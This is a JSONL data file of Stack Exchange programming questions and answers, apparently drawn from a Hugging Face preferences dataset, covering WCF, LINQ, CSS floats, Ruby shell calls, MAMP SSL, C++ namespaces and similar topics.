{"id": "hf_874cbf9f9166", "question": "<p>In the process of developing my first WCF service and when I try to use it I get \"Method not Allowed\" with no other explanation. </p>\n\n<p>I've got my interface set up with the ServiceContract and OperationContract:</p>\n\n<pre><code>    [OperationContract]\n    void FileUpload(UploadedFile file);\n</code></pre>\n\n<p>Along with the actual method:</p>\n\n<pre><code>    public void FileUpload(UploadedFile file) {};\n</code></pre>\n\n<p>To access the Service I enter <a href=\"http://localhost/project/myService.svc/FileUpload\" rel=\"noreferrer\">http://localhost/project/myService.svc/FileUpload</a>\nbut I get the \"Method not Allowed\" error</p>\n\n<p>Am I missing something?</p>\n", "question_body": "", "answer": "The basic intrinsic types (e.g.\n```\nbyte\n```\n,\n```\nint\n```\n,\n```\nstring\n```\n, and arrays) will be serialized automatically by WCF. Custom classes, like your UploadedFile, won't be.\nSo, a silly question (but I have to ask it...): is UploadedFile marked as a\n```\n[DataContract]\n```\n? If not, you'll need to make sure that it is, and that each of the members in the class that you want to send are marked with [DataMember].\nUnlike remoting, where marking a class with [XmlSerializable] allowed you to serialize the whole class without bothering to mark the members that you wanted serialized, WCF needs you to mark up each member. (I believe this is changing in .NET 3.5 SP1...)\nA tremendous resource for WCF development is what we know in our shop as \"the fish book\":\nProgramming WCF Services\nby Juval Lowy. Unlike some of the other WCF books around, which are a bit dry and academic, this one takes a practical approach to building WCF services and is actually useful. Thoroughly recommended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.402302"}
{"id": "hf_7c01efeceb5b", "question": "<p>Given the following:</p>\n\n<pre><code>List&lt;List&lt;Option&gt;&gt; optionLists;\n</code></pre>\n\n<p>what would be a quick way to determine the subset of Option objects that appear in all N lists? Equality is determined through some string property such as option1.Value == option2.Value.</p>\n\n<p>So we should end up with <code>List&lt;Option&gt;</code> where each item appears only once.</p>\n", "question_body": "", "answer": "Ok, this will find the list of Option objects that have a Value appearing in\nevery\nlist.\n```\n```\nvar x = from list in optionLists\n        from option in list\n        where optionLists.All(l => l.Any(o => o.Value == option.Value))\n        orderby option.Value\n        select option;\n```\n```\nIt doesn't do a \"distinct\" select so it'll return multiple Option objects, some of them with the same Value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.426017"}
{"id": "hf_6487a73dacca", "question": "<p>Suppose someone worked for a company that put up an HTTP proxy preventing internet access without password authentication (NTLM, I think). Also suppose that this password rotated on a daily basis, which added very little security, but mostly served to annoy the employees. How would one get started writing a Firefox add-on that automatically entered these rotating passwords?</p>\n\n<p><em>To clarify: This add-on would not just submit the password; the add-on would programmatically generate it with some knowledge of the password rotation scheme.</em></p>\n", "question_body": "", "answer": "This is built into Firefox. Open up about:config, search for 'ntlm'\nThe setting you're looking for is called network.automatic-ntlm-auth.trusted-uris and accepts a comma-space delimited list of your proxy server uris.\nThis will make FireFox automatically send hashed copies of your windows password to the proxy, which is disabled by default for obvious reasons. IE can do this automatically because it can use security zones to figure out whether a proxy server is trusted or not.\nBlog post discussing this", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.460762"}
{"id": "hf_a50e3b4bd404", "question": "<p>I have a number of users with multi-megabyte files that need to be processed before they can be uploaded. I am trying to find a way to do this without having to install any executable software on their machines. </p>\n\n<p>If every machine shipped with, say, Python it would be easy. I could have a Python script do everything. The only scripting language I can think of that's on every machine is JavaScript. However I know there are security restrictions that prevent reading and writing local files from web browsers. </p>\n\n<p>Is there any way to use this extremely pervasive scripting language for general purpose computing tasks?</p>\n\n<hr>\n\n<p>EDIT: To clarify the requirements, this needs to be a cross platform, cross browser solution. I believe that HTA is an Internet Explorer only technology (or that the Firefox equivalent is broken).</p>\n", "question_body": "", "answer": "The application that I maintain and develop for work is an\nHTML Application\nor\nHTA\n, linked with a SQL Server 2005 backend. This allows various security restrictions to be \"avoided\". All the client-side components in the application are done with javascript, including writing files to locally mapped network drives and loading data into screens/pages in an AJAXy way.\nPerhaps HTA could be helpful for your situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.484262"}
{"id": "hf_1a4054993d89", "question": "<p>How can I get an image to stretch the height of a <code>DIV</code> class?</p>\n\n<p>Currently it looks like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/DcrXC.png\" width=\"650\" /></p>\n\n<p>However, I would like the <code>DIV</code> to be stretched so the <code>image</code> fits properly, but I do not want to resize the `image.</p>\n\n<p>Here is the CSS for the <code>DIV</code> (the grey box):</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.product1 {\n    width: 100%;\n    padding: 5px;\n    margin: 0px 0px 15px -5px;\n    background: #ADA19A;\n    color: #000000;\n    min-height: 100px;\n}\n</code></pre>\n\n<p>The CSS being applied on the image:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.product{\n    display: inline;\n    float: left;\n}\n</code></pre>\n\n<p>So, how can I fix this?</p>\n", "question_body": "", "answer": "```\n```\ndisplay:inline  \nfloat:left\n```\n```\nis your problem\nFloating makes the parents width not be stretched by the child, try placing the image without the float. If you take the float off, it should give you the desired effect.\nAnother approach would be to make sure you are clearing your floats at the end of the parent element so that they don't scope creep.\nUpdate:\nAfter viewing your link Your height issue as displayed, is because the floats are not being cleared.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.530821"}
{"id": "hf_74cfa24a398b", "question": "<p>Is there a fast and clean way of returning a JSON hash back from any node in a Ruby on Rails' acts_as_nested_set without using recursion?</p>\n\n<p>Here's the recursive solution for reference:</p>\n\n<pre><code>class Node &lt; ActiveRecord::Base\n  has_many :products\n  def json_hash\n    if children.size &gt; 0\n      children.collect { |node| { node.name =&gt; node.json_hash }.to_json\n    else\n      { node.name =&gt; node.products.find(:all).collect(&amp;:name) }.to_json\n    end\n  end\nend\n</code></pre>\n", "question_body": "", "answer": "There is a\nwikipedia article\non tree traversal which shows different alternatives to the recursive solution you are using.  It may be tricky to use them in your specific case, but it should be possible.\nHowever, my question to you is, is there a specific reason you want to use iteration instead of recursion?  I don't think any of the iterative solutions will be nearly as clean.  Are your trees so big that you are running out of stack space (they would have to be pretty big)?  Otherwise, I'm not so sure an iterative solution will really be faster.\nI see one potential for improvement though, if you are seeing performance issues... but I don't know rails, so I'm not sure if it is accurate:\nDoes the find method return a new array?  If so, you probably want to invoke .collect! instead of .collect, because if find creates an array, you are just creating an array and then throwing it away to the call to collect (which also creates an array), which surely is not going to be very efficient and may slow you down a lot if you have a big tree there.\nSo\n```\n```\n{ node.name => node.products.find(:all).collect(&:name) }.to_json\n```\n```\nmight become\n```\n```\n{ node.name => node.products.find(:all).collect!(&:name) }.to_json\n```\n```\nEDIT: Also, it may be more efficient to create your hash of hashes, and then convert the whole thing to json in 1 fell swoop, rather than converting it piecemail like you are doing.\nSo\n```\n```\nclass Node < ActiveRecord::Base\n  has_many :products\n  def json_hash\n    if children.size > 0\n      children.collect { |node| { node.name => node.json_hash }.to_json\n    else\n      { node.name => node.products.find(:all).collect!(&:name) }.to_json\n    end\n  end\nend\n```\n```\nmight become\n```\n```\nclass Node < ActiveRecord::Base\n  has_many :products\n  def json_hash\n    to_hash.to_json\n  end\n\n  def to_hash\n    if children.size > 0\n      children.collect { |node| { node.name => node.to_hash }\n    else\n      { node.name => node.products.find(:all).collect!(&:name) }\n    end\n  end\nend\n```\n```\nWhether this works and is more efficient I leave as an exercise for you ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.553929"}
{"id": "hf_bf1678b11f2b", "question": "<p>I am running MAMP locally on my laptop, and I like to test as much as I can locally. Unfortunately, since I work on e-commerce stuff (PHP), I normally force ssl in most of the checkout forms and it just fails on my laptop. Is there any easy configuration that I might be missing to allow \"https\" to run under MAMP? Please note, I know that I <strong>could</strong> configure Apache by hand, re-compile PHP, etc. but I'm just wondering if there's an easier way for a lazy programmer.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "There doesn't seem to be an easier way,\nunless you're willing to buy MAMP Pro\n.\nAs far as I know, the only way to use SSL with MAMP is to\nconfigure mod_ssl for Apache\n. mod_ssl is bundled with MAMP, and I found configuration to be pretty straightforward. Note that you'll probably have to start Apache from the command line to use it:\n```\n```\n/Applications/MAMP/bin/apache2/bin$ ./apachectl stop\n/Applications/MAMP/bin/apache2/bin$ sudo ./apachectl startssl\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.592727"}
{"id": "hf_e2092a3ddba8", "question": "<p>I found an example in the <a href=\"http://msdn2.microsoft.com/en-us/bb330936.aspx\" rel=\"noreferrer\">VS2008 Examples</a> for Dynamic LINQ that allows you to use a SQL-like string (e.g. <code>OrderBy(&quot;Name, Age DESC&quot;))</code> for ordering. Unfortunately, the method included only works on <code>IQueryable&lt;T&gt;</code>. Is there any way to get this functionality on <code>IEnumerable&lt;T&gt;</code>?</p>\n", "question_body": "", "answer": "I guess it would work to use reflection to get whatever property you want to sort on:\n```\n```\nIEnumerable<T> myEnumerables\nvar query=from enumerable in myenumerables\n          where some criteria\n          orderby GetPropertyValue(enumerable,\"SomeProperty\")\n          select enumerable\n\nprivate static object GetPropertyValue(object obj, string property)\n{\n    System.Reflection.PropertyInfo propertyInfo=obj.GetType().GetProperty(property);\n    return propertyInfo.GetValue(obj, null);\n}\n```\n```\nNote that using reflection is considerably slower than accessing the property directly, so the performance would have to be investigated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.651904"}
{"id": "hf_ae02b1e8de4a", "question": "<p>I assumed there were only bug fixes/(no new types) in .NET 2.0 SP1 until I came across <a href=\"http://davesbox.com/archive/2008/08/25/new-for-visual-studio-2008-sp1-and-fxcop-1-36-multi-targeting-rule.aspx\" rel=\"nofollow noreferrer\">few</a> posts which were mentioning <a href=\"http://msdn.microsoft.com/en-us/library/system.datetimeoffset.aspx\" rel=\"nofollow noreferrer\">DateTimeOffset</a> structure, that was added in .NET 2.0 SP1.</p>\n\n<p>Is there a full listing of the newly added types in .NET 2.0 SP1?</p>\n", "question_body": "", "answer": "Here's what you're looking for:\nFull Article:\nhttp://www.hanselman.com/blog/CatchingRedBitsDifferencesInNET20AndNET20SP1.aspx\nThis may also be helpful:\nFull Article:\nhttp://www.hanselman.com/blog/ChangesInTheNETBCLBetween20And35.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.675137"}
{"id": "hf_d0cdbf110c27", "question": "<p>How do you run Emacs in Windows?</p>\n\n<p>What is the best flavor of Emacs to use in Windows, and where can I download it? And where is the .emacs file located?</p>\n", "question_body": "", "answer": "Well, I personally really like what I have been using since I started with Emacs, which is GNU Emacs.  It looks like it is built for\nwindows too\n.  That link also answers your\n.emacs file question\n.\nHere is a place you can download it\n.  You should probably get version 22.2 (the latest).\nIf this is your first time, I hope you enjoy it!  I know I absolutely love emacs!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.721833"}
{"id": "hf_7bb6cb3df1b8", "question": "<p>Has anybody got any kind of experience with dynamic programming using WCF. By dynamic programming I mean runtime consumption of WSDL's.\nI have found one blog entry/tool:\n<a href=\"http://blogs.msdn.com/vipulmodi/archive/2006/11/16/dynamic-programming-with-wcf.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/vipulmodi/archive/2006/11/16/dynamic-programming-with-wcf.aspx</a></p>\n\n<p>Has anybody here found good tools for this?</p>\n", "question_body": "", "answer": "I have done this a long time ago with SOAP web services. There was a tool on GotDotNet which I think has become\nWeb Services Studio Express\n, that had code which inspected/parsed a WSDL file and allowed you to call it.\nI think the assumption is that the WSDL is known at the time of client creation, and you don't need to be hooked up at runtime. If you inspect the WSDL at runtime you still need to have some sort of logic to decide how to generate the proxy. Why would can you not consume the WSDL before runtime? Web Services are supposed to be fairly static with an interface that doesn't change once published.\nYou can use .NET CodeDom to generate code to execute and use the web service described by the WSDL. The WSDL can be parsed using the standard .NET XML classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.792969"}
{"id": "hf_805c6c8782bf", "question": "<p>What do search engine bots use as a starting point? Is it DNS look-up or do they start with some fixed list of well-know sites? Any guesses or suggestions?</p>\n", "question_body": "", "answer": "You can submit your site to search engines using their\nsite submission forms\n- this will get you into their system. When you actually get crawled after that is impossible to say - from experience it's usually about a week or so for an initial crawl (homepage, couple of other pages 1-link deep from there). You can increase how many of your pages get crawled and indexed using clear semantic link structure and submitting a\nsitemap\n- these allow you to list all of your pages, and weight them relative to one another, which helps the search engines understand how important you view each part of site relative to the others.\nIf your site is linked from other crawled websites, then your site will also be crawled, starting with the page linked, and eventually spreading to the rest of your site. This can take a long time, and depends on the crawl frequency of the linking sites, so the url submission is the quickest way to let google know about you!\nOne tool I can't recommend highly enough is the\nGoogle Webmaster Tool\n. It allows you to see how often you've been crawled, any errors the googlebot has stumbled across (broken links, etc) and has a host of other useful tools in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.913611"}
{"id": "hf_cba5873a003c", "question": "<p>I'm looking for a tool to generate a JavaScript stub from a WSDL.</p>\n\n<p>Although I usually prefer to use REST services with JSON or XML, there are some tools I am currently integrating that works only using SOAP.</p>\n\n<p>I already created a first version of the client in JavaScript but I'm parsing the SOAP envelope by hand and I doubt that my code can survive a service upgrade for example, seeing how complex the SOAP envelope specification is.</p>\n\n<p>So is there any tool to automatically generate fully SOAP compliant stubs for JavaScript from the WSDL so I can be more confident on the future of my client code.</p>\n\n<p>More: The web service I try to use is RPC encoded, not document literal.</p>\n", "question_body": "", "answer": "I had to do this myself in the past and I found this\nCodeProject article\n.  I changed it up some, but it gave me a good foundation to implement everything I needed.  One of the main features it already has is generating the SOAP client based off the WSDL.  It also has built in caching of the WSDL for multiple calls.\nThis article also has a custom implementation of XmlHttpRequest for Ajax calls.  This is the part that I didn't use.  During that time, I think I was using\nPrototype\njavascript library and modified the code in this article to use it's Ajax functions instead.  I just felt more comfortable using Prototype for the ajax calls, because it was widely used and had been tested on all the browsers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.962967"}
{"id": "hf_23da9dd1f066", "question": "<p>I am planning on creating a small website for my personal book collection. To automate the process a little bit, I would like to create the following functionality:</p>\n\n<p>The website will ask me for the ISBN number of the book and will then automatically fetch the title and add it to my database.</p>\n\n<p>Although I am mainly interested in doing this in php, I also have some Java implementation ideas for this. I believe it could also help if the answer was as much language-agnostic as possible.</p>\n", "question_body": "", "answer": "I haven't tried it, but take a look at\nisbndb\nAPI Description: Introduction\nISBNdb.com's remote access application programming interface (API) is designed to allow other websites and standalone applications use the vast collection of data collected by ISBNdb.com since 2003. As of this writing, in July 2005, the data includes nearly 1,800,000 books; almost 3,000,000 million library records; close to a million subjects; hundreds of thousands of author and publisher records parsed out of library data; more than 10,000,000 records of actual and historic prices.\nSome ideas of how the API can be used include:\n```\n```\n- Cataloguing home book collections\n- Building and verifying bookstores' inventories\n- Empowering forums and online communities with more useful book references\n- Automated cross-merchant price lookups over messaging devices or phones\n```\n```\nUsing the API you can look up information by keywords, by ISBN, by authors or publishers, etc. In most situations the API is fast enough to be used in interactive applications.\nThe data is heavily cross-linked -- starting at a book you can retrieve information about its authors, then other books of these authors, then their publishers, etc.\nThe API is primarily intended for use by programmers. The interface strives to be platform and programming language independent by employing open standard protocols and message formats.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.047840"}
{"id": "hf_83b87f125ca8", "question": "<p>Is it possible to determine which property of an ActiveX control is the default property? For example, what is the default property of the VB6 control CommandButton and how would I found out any other controls default!</p>\n\n<p><strong>/EDIT:</strong> Without having source to the object itself</p>\n", "question_body": "", "answer": "I don't use VB, but here it goes.\nI found\nUsing the Value of a Control\n, but it's not a programmatic solution.\nIf you have access to the code, look for\n```\n```\nAttribute Value.VB_UserMemId = 0\n```\n```\nusing Notepad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.120955"}
{"id": "hf_f3ab57457416", "question": "<p>In Java, static and transient fields are not serialized. However, I found out that initialization of static fields causes the generated serialVersionUID to be changed. For example, <code>static int MYINT = 3;</code> causes the serialVersionUID to change. In this example, it makes sense because different versions of the class would get different initial values. Why does any initialization change the serialVersionUID? For example, <code>static String MYSTRING = System.getProperty(\"foo\");</code> also causes the serialVersionUID to change.</p>\n\n<p>To be specific, my question is why does initialization with a method cause the serialVersionUID to change. The problem I hit is that I added a new static field that was initialized with a system property value (getProperty). That change caused a serialization exception on a remote call.</p>\n", "question_body": "", "answer": "If I read the spec correctly the automatic\n```\nserialVersionUID\n```\nshouldn't change if you change the value of a static of transient field. Take a look at\nChapter 5.6\nof the Spec.\nHowever\n, if you think about this a bit - you start by serializing an object that has\n```\nstatic int MYINT = 3\n```\n, when you then deserialize the class you expect to get the same object back, that is, with\n```\nMYINT = 3\n```\n. So, if you change the static initialization you would expect the\n```\nserialVersionUID\n```\nto change because you can't get the same object back again.\nAnyways\n, keep this in all your serializable classes and you can control the\n```\nserialVersionUID\n```\n:\n```\n```\nprivate static final long serialVersionUID = 7526472295622776147L;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.155960"}
{"id": "hf_4aaaffbfc31f", "question": "<p>Is there any way to use this kind of format in .Net (C#)?\nI want to use the same skin format that uTorrent uses in my app, but i can't get the transparent background.\nAny ideas?\nThanks for your time.</p>\n", "question_body": "", "answer": "The PixelFormat enumeration lists the formats of 'bitmaps' you can create in .Net, so you'd want PixelFormat.Format32bppArgb:\nhttp://msdn.microsoft.com/en-us/library/system.drawing.imaging.pixelformat.aspx\nhttp://msdn.microsoft.com/en-us/library/3z132tat.aspx\nHowever I'm not entirely sure that the BMP file format supports transparency - so you would have to save the file as perhaps a PNG file instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.193139"}
{"id": "hf_38c43b58a6c7", "question": "<p>I am going to be using Subversion for source control on a new J2EE web application. What directory structure will you recommend for organizing code, tests and documentation?</p>\n", "question_body": "", "answer": "I usually have\n```\nProject Directory\n  src - actual source\n  doc - documentation\n  lib - libraries referenced from source\n  dep - installation files for dependencies that don't fit in lib\n  db  - database installation script\n```\nIn work with Visual Studio, I'm not sure if this works the same in the java world. But i usually put stuff in different project folders in src. For each source project there's a separate test project. Build files go in the main project directory. I usually put a README there too documenting how to setup the project if it needs more than just checking out.\nEDIT: This is the structure for a single working checkout of the project. It will be duplicated for each branch/tag in your revision control system (remember, in most SVN system, copies are cheap). The above example under Subversion would look like:\n```\n```\n/project\n    /trunk\n        /src\n        /doc\n        /...\n    /branches\n        /feature1\n            /src\n            /doc\n            /...\n        /feature2\n            /src\n            /doc\n            /...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.216773"}
{"id": "hf_f3d937cd86e7", "question": "<p>If not, what are the significant differences?</p>\n\n<hr>\n\n<p><strong>Edit:</strong> Daren Thomas asks:</p>\n\n<blockquote>\n  <p>which ones?</p>\n  \n  <p>I use gvim on Windows and MacVim on the mac. Seem similar enough to be the same to me...</p>\n</blockquote>\n\n<p>By which ones, I'm guessing that you mean a specific implementation of vi and emacs for Windows. I'm not sure as I thought there were only one or two. I'm looking for the ones that are closest to the Unix counterparts.</p>\n", "question_body": "", "answer": "which ones?\nI use\n```\ngvim\n```\non Windows and\n```\nMacVim\n```\non the mac. Seem similar enough to be the same to me...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.240189"}
{"id": "hf_78bfd5af43fb", "question": "<p>I am working on a small intranet site for a small company, where user should be able to post. I have imagined a very simple authentication mechanism where people just enter their email address, and gets sent a unique login url, that sets a cookie that will always identify them for future requests.</p>\n\n<p>In my template setup, I have base.html, and the other pages extend this. I want to show logged in or register button in the base.html, but how can I ensure that the necessary variables are always a part of the context? It seems that each view just sets up the context as they like, and there is no global context population. Is there a way of doing this without including the user in each context creation?</p>\n\n<p>Or will I have to make my own custom shortcuts to setup the context properly?</p>\n", "question_body": "", "answer": "If you can hook your authentication into the\nDjango authentication scheme\nyou'll be able to use\n```\nrequest.user\n```\n.\nI think this should just be a case of calling\n```\nauthenticate()\n```\nand\n```\nlogin()\n```\nbased on the contents of your Cookie.\nEdit: @Staale - I always use the\n```\nlocals()\n```\ntrick\nfor my context so all my templates can see\n```\nrequest\n```\nand so\n```\nrequest.user\n```\n.  If you're not then I guess it wouldn't be so straightforward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.263815"}
{"id": "hf_047251e89bed", "question": "<p>I'm trying to understand how namespaces work in XML. When I have an element like foo:bar, the attributes will often not have namespaces on them. But sometimes they will. Are the attribute in the namespace of the element, even when the default namespace has been declared? Looking over the xsd for xhtml it seems the attributes are part of the schema and should be in the namespace for xhtml, but they are never presented that way...</p>\n", "question_body": "", "answer": "Read up at\n6.1 Namespace Scoping\nand\n6.2 Namespace Defaulting\non w3c.\nBasically:\nThe scope of a namespace declaration declaring a prefix extends from the beginning of the start-tag in which it appears to the end of the corresponding end-tag\nHowever, the text here doesn't seem to explain if  means a is foo:a or the default namespace in the context. I would assume that it does not refer to foo:a, but rather the documents default namespace a. Considering this quote at least:\nSuch a namespace declaration applies to all element and attribute names within its scope whose prefix matches that specified in the declaration.\nIe. the namespace \"foo:\" only applies to elements prefixed with foo:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.287618"}
{"id": "hf_f08736c9f406", "question": "<p>I come from a Java background, where packages are used, not namespaces. I'm used to putting classes that work together to form a complete object into packages, and then reusing them later from that package. But now I'm working in C++.</p>\n\n<p>How do you use namespaces in C++? Do you create a single namespace for the entire application, or do you create namespaces for the major components? If so, how do you create objects from classes in other namespaces?</p>\n", "question_body": "", "answer": "Namespaces are packages essentially. They can be used like this:\n```\n```\nnamespace MyNamespace\n{\n  class MyClass\n  {\n  };\n}\n```\n```\nThen in code:\n```\n```\nMyNamespace::MyClass* pClass = new MyNamespace::MyClass();\n```\n```\nOr, if you want to always use a specific namespace, you can do this:\n```\n```\nusing namespace MyNamespace;\n\nMyClass* pClass = new MyClass();\n```\n```\nEdit:\nFollowing what\nbernhardrusch\nhas said, I tend not to use the \"using namespace x\" syntax at all, I usually explicitly specify the namespace when instantiating my objects (i.e. the first example I showed).\nAnd as you asked\nbelow\n, you can use as many namespaces as you like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.362130"}
{"id": "hf_5da28b762617", "question": "<p>I would like to execute an OS command from my ruby script but I want to add an argument from a ruby variable.</p>\n\n<p>I know that's possible by using keyword <em>system</em> like that :</p>\n\n<pre><code>#!/usr/bin/env ruby\ndirectory = '/home/paulgreg/'\nsystem 'ls ' + directory\n</code></pre>\n\n<p>but is that possible by using the \"backquotes or backticks syntax\" ?\n(I mean by using that syntax : <code>ls</code>)</p>\n", "question_body": "", "answer": "No, that will just concatenate the output from\n```\nls\n```\nand the contents of\n```\ndirectory\n```\n.\nBut you can do this:\n```\n```\n#!/usr/bin/env ruby\ndirectory = '/home/paulgreg/'\n`ls #{directory}`\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.415597"}
{"id": "hf_c87d9e33ca0b", "question": "<p>Is there any way to convert a bmp image to jpg/png without losing the quality in C#? Using Image class we can convert bmp to jpg but the quality of output image is very poor. Can we gain the quality level as good as an image converted to jpg using photoshop with highest quality?</p>\n", "question_body": "", "answer": "You can try:\n```\n```\nBitmap.InterpolationMode = InterpolationMode.HighQualityBicubic;\n```\n```\nand\n```\n```\nBitmap.CompositingQuality = CompositingQuality.HighQuality;\n```\n```\nWhich does keep the quality fairly high, but not the highest possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.521694"}
{"id": "hf_75c863c14706", "question": "<p>In Visual Studio you can create a template XML document from an existing schema. The new <a href=\"http://msdn.microsoft.com/en-us/library/cc716766.aspx\" rel=\"noreferrer\">XML Schema Explorer</a> in VS2008 SP1 takes this a stage further and can create a sample XML document complete with data.\nIs there a class library in .NET to do this automatically without having to use Visual Studio? I found the <a href=\"http://msdn.microsoft.com/en-us/library/aa302296.aspx\" rel=\"noreferrer\">XmlSampleGenerator</a>  article on MSDN but it was written in 2004 so maybe there is something already included in .NET to do this now?</p>\n", "question_body": "", "answer": "Directly, none that I can think of, other than third party add-ons. You could utilize the\nxsd schema definition tool\nto take your XSD and create a .NET object/class, once you have that, you could, to quote the linked page:\nXSD to Classes: Generates runtime classes from an XSD schema file. The generated classes can be used in conjunction with\nSystem.Xml.Serialization.XmlSerializer\nto read and write XML code that follows the schema.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.545327"}
